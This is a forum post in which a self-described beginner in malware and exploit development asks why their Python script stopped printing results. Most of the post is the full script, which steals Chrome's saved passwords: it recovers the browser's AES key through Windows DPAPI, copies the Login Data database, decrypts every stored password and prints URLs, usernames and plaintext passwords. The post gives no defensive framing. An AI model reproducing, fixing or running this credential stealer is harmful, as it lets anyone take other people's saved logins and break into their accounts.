Extract Chrome Passwords in Python

Hello everyone , i m having a little bit confusion here please i need help of a better understanding
i m still new to malware and exploit development , i created a python script for Extract Chrome Passwords in python the first i created the script it works fine the code are right no errors and the result was printed on the screen and it okay , but the problem is that the next day i came in to run a test on the same script yes it works fine and they were no errors on my code but the problem is that the result was not printed the screen again i tried and tried but the script only execute but didn’t print result on the screen this got me really confuse i have been dealing with for days now i cant seen to fix or know the problem please help me out .
this is my code …

import os

import json

import base64

import sqlite3

import win32crypt

from Crypto.Cipher import AES

import shutil

from datetime import timezone, datetime, timedelta

def get_chrome_datetime(chromedate):

return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():

local_state_path = os.path.join(os.environ["USERPROFILE"],

                                "AppData", "Local", "Google", "Chrome",

                                "User Data", "Local State")

                               

with open(local_state_path, "r", encoding="utf-8") as f:

    local_state = f.read()

    local_state = json.loads(local_state)

key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

key = key[5:]



return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_password(password, key):

try:

 

    iv = password[3:15]

    password = password[15:]

 

    cipher = AES.new(key, AES.MODE_GCM, iv)



    return cipher.decrypt(password)[:-16].decode()

except:

    try:

        return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])

    except:

         

        return ""

def main():

key = get_encryption_key()

 

db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",

                        "Google", "Chrome", "User Data", "default", "Login Data")



filename = "ChromeData.db"

shutil.copyfile(db_path, filename)

# connect to the database

db = sqlite3.connect(filename)

cursor = db.cursor()

# `logins` table has the data we need

cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")

# iterate over all rows

for row in cursor.fetchall():

    origin_url = row[0]

    action_url = row[1]

    username = row[2]

    password = decrypt_password(row[3], key)

    date_created = row[4]

    date_last_used = row[5]        

    if username or password:

        print(f"Origin URL: {origin_url}")

        print(f"Action URL: {action_url}")

        print(f"Username: {username}")

        print(f"Password: {password}")

    else:

        continue

    if date_created != 86400000000 and date_created:

        print(f"Creation date: {str(get_chrome_datetime(date_created))}")

    if date_last_used != 86400000000 and date_last_used:

        print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")

    print("="*50)

cursor.close()

db.close()

try:

    # try to remove the copied db file

    os.remove(filename)

except:

    pass
2 Likes